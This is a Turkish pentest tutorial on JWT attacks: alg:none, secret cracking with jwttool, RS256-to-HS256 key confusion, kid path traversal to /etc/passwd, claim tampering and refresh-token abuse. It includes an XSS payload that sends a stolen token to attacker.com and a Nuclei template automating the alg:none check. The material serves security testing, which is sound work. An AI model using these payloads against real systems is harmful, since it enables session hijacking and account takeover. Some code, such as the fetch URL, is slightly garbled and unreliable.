JWT Saldırı Teknikleri
Bu yazıda JWT’nin temel yapısını, algoritmalarını ve gerçek dünyada pentester’lar tarafından en çok kullanılan saldırı tekniklerini ayrıntılarıyla ele alıyoruz.
JSON Web Token (JWT), modern web uygulamalarında kimlik doğrulama ve yetkilendirme için kullanılan, stateless ve taşınabilir bir standarttır. Doğru yapılandırıldığında etkili bir kimlik doğrulama mekanizması sunar ama yanlış uygulandığında kritik güvenlik açıklarına yol açabilir.
1. JWT Nedir? – Temel Yapı
JWT, kimliği doğrulanmış kullanıcıya sunucu tarafından verilen imzalı bir kimlik tokenıdır. “Stateless” olduğundan, kullanıcı her istekte token’ı header içinde taşır:
Authorization: Bearer <JWT>
JWT üç bölümden oluşur:
HEADER.PAYLOAD.SIGNATURE
Her bölüm Base64URL ile encode edilir (şifreli değildir).
2. JWT Yapısı
2.1 Header
Header, token’ın türünü ve kullanılan imza algoritmasını belirtir:
{
"alg": "HS256",
"typ": "JWT"
}
2.2 Payload (Claims)
Kullanıcıya ait bilgiler ve token metadata’sı burada bulunur.
Payload şifreli değildir sadece encode edilir. Herkes okuyabilir.
{
"sub": "4521",
"role": "user",
"exp": 1721340000
}
2.3 Signature
Token’ın manipüle edilmesini engelleyen kriptografik imzadır:
HMACSHA256(
base64UrlEncode(header) + "." + base64UrlEncode(payload),
secret_key
)
3. JWT Algoritmaları
JWT iki ana algoritma ailesi kullanır:
- Simetrik (HS256 / HS384 / HS512)
- Tek bir secret key kullanılır
- Hızlıdır
- Secret sızarsa tüm tokenlar tehlikededir
- Asimetrik (RS256 / ES256)
- Private key → imza
- Public key → doğrulama
- Büyük sistemlerde daha güvenli
- Yanlış yapılandırıldığında RS256 → HS256 downgrade saldırısı mümkündür
4. JWT Saldırıları
Aşağıdaki saldırılar pentest ve bug bounty süreçlerinde en sık karşılaşılan zafiyetlerdir.
4.1 “alg: none” Saldırısı
Amaç: İmza doğrulamasını tamamen devre dışı bırakmak.
Orijinal header:
{ "alg": "HS256", "typ": "JWT" }
Saldırgan değiştirir:
{ "alg": "none", "typ": "JWT" }
Token şu şekilde gönderilir:
HEADER.PAYLOAD.
Sonuç: Uygulama imza kontrolü yapmaz → saldırgan kendini admin yapabilir.
4.2 Zayıf Secret Key Brute-Force (HS256)
Yetersiz anahtar karmaşıklığı nedeniyle çevrimdışı (offline) saldırılara açık en yaygın yapılandırma hatası.
Secret Key Kaba Kuvvet Saldırsı:
$ jwttool -t eyJhbGci... -w rockyou.txt --crack
Secret ele geçirildikten sonra sahte admin tokenı oluşturma:
$ jwttool -S -p '{"role":"admin"}' -s secret123
Sonuç: Tüm kullanıcılar adına sahte token üretilebilir.
4.3 RS256 → HS256 Downgrade Saldırısı (Public Key Abuse)
Bu saldırı, sunucunun kafasını karıştırarak herkese açık olan Public Key’i, gizli bir Secret Key gibi kullanmasını sağlamaktır.
Mantık:
- Saldırgan, token başlığındaki
RS256(Asimetrik) algoritmasınıHS256(Simetrik) olarak değiştirir. - Sunucu başlıkta
HS256gördüğü için, elindeki Public Key dosyasını doğrulama için bir “HMAC şifresi” olarak kullanmaya başlar. - Saldırgan da aynı Public Key’i indirir ve onu bir şifre gibi kullanarak kendi sahte token’ını imzalar. İki taraf da aynı anahtarı kullandığı için token geçerli olur.
Manipüle Edilmiş Header:
{
"alg": "HS256", // RS256 yerine HS256'ya zorla
"typ": "JWT"
}
PoC: Public Key dosyasını sanki bir parola (secret key) gibi kullanarak imza atıyoruz:
$ jwttool -S -p '{"role":"admin"}' --hs256 --key public.pem
Sonuç: Sunucu kendi Public Key’ini şifre sandığı için, aynı “şifreyle” imzalanmış sahte token’ı kabul eder.
4.4 kid Parametresi ile File Inclusion / Key Manipülasyonu
Header:
{
"alg": "HS256",
"kid": "main"
}
Zafiyetli backend:
key = readFile("/keys/" + kid)
Saldırı:
{
"kid": "../../../../../../etc/passwd",
"alg": "HS256"
}
Token imzalama PoC:
$ jwttool -S --key /etc/passwd
Sonuç:
- Key injection
- Signature bypass
4.5 Token Manipülasyonu ile Role Elevation
Orijinal payload:
{
"user": "4512",
"role": "user"
}
Saldırgan değiştirir:
{
"user": "4512",
"role": "admin"
}
Sonuç: Eğer imza doğrulaması doğru yapılmıyorsa → Admin yetkisi erişimi.
4.6 exp Manipülasyonu ile Süresiz Token
Orijinal:
{ "exp": 1721340000 }
Manipüle edilmiş payload:
{ "exp": 9999999999 }
Sonuç: Bazı zayıf backend’ler exp kontrolü yapmadığı için token süresiz geçerli olur.
4.7 JWT Çalma (XSS + LocalStorage)
Sorun: Geliştiricilerin JWT’yi LocalStorage içinde saklaması. LocalStorage, sayfada çalışan herhangi bir JavaScript kodu tarafından okunabilir. Eğer sitede XSS zafiyeti varsa, saldırgan tek satırlık kodla token’ı çalar.
Zafiyetli Saklama (Frontend):
// Yanlış: Token JavaScript tarafından erişilebilir durumda
localStorage.setItem("token", "eyJhbGciOi...");
Saldırı PoC (XSS Payload): Saldırgan, bir yorum alanına veya URL parametresine şu kodu gömer:
<script>
// Token'ı al ve saldırganın sunucusuna gönder
fetch('[https://attacker.com/log?token=](https://attacker.com/log?token=)' + localStorage.getItem("token"));
</script>
Sonuç: Token saldırganın sunucusuna düşer ve saldırgan parolaya ihtiyaç duymadan hesabı ele geçirir (Session Hijacking).
4.8 Refresh Token Abuse – Sonsuz Login (Zombie Session)
Refresh Token, kullanıcıya tekrar tekrar şifre sormamak için kullanılan uzun ömürlü bir anahtardır. Eğer bu anahtar çalınırsa ve gerekli güvenlik önlemleri (IP Binding, Rotation) yoksa, saldırgan parolaya ihtiyaç duymadan uzun süre hesapta kalabilir.
Zafiyetin Nedenleri:
- IP’ye Bağlı Değilse: Token Türkiye’de oluşturulup Almanya’dan kullanılıyorsa sunucu bunu reddetmelidir. Etmiyorsa, token her yerden kullanılabilir.
- Blacklist Yoksa: Kullanıcı “Çıkış Yap” dediğinde veya şifresini değiştirdiğinde, sunucu eski Refresh Token’ı veritabanında “iptal edildi” olarak işaretlemezse, çalınan token çalışmaya devam eder.
- Token Rotation Yoksa: Refresh Token her kullanıldığında değişmelidir. Eğer sabit kalıyorsa, çalındığı an güvenlik zafiyet oluşturabilir.
Senaryo:
- Saldırgan kullanıcının Refresh Token’ını çalar.
- Kullanıcı parolasını değiştirse bile, saldırgan elindeki token ile sürekli yeni Access Token üretir.
- Saldırgan, kullanıcı fark etmeden hesabı arka planda kullanmaya devam eder.
Sonuç: “Account Takeover” (Hesap Ele Geçirme). Saldırganın oturumu, sunucu manuel olarak o tokenı silene kadar asla düşmez.
5. Otomasyon için Nuclei Template (alg:none + HS256 brute-force)
id: jwt-basic-checks
info:
name: JWT Security Checks
severity: high
tags: jwt,auth,bypass
requests:
- method: GET
path:
- "{{BaseURL}}"
extractors:
- type: regex
name: jwt
regex:
- "eyJ[a-zA-Z0-9_-]+\\.[a-zA-Z0-9_-]+\\.[a-zA-Z0-9_-]*"
- method: GET
path:
- "{{BaseURL}}"
headers:
Authorization: "Bearer {{jwt_header_none}}"
payloads:
jwt_header_none:
- "{{jwt | replace('HS256','none')}}."
matchers:
- type: status
status:
- 200
Template Mantığı: Bu template, alg: none (Signature Bypass) saldırısını otomatize eder:
- Sitedeki geçerli JWT’yi regex ile bulur.
- Token algoritmasını
noneyaparak imzayı devre dışı bırakır. - Sahte token ile istek atar sunucu
200 OKverirse zafiyeti raporlar.
Sonuç
Bu yazıda JWT yapısını, saldırı tekniklerini inceledik. Basit yapılandırma hatalarının sistemde zafiyete yol açabileceğini gördük. Bu yöntemleri sızma testlerinize dahil ederek güvenlik testlerinizi daha kapsamlı hale getirebilirsiniz.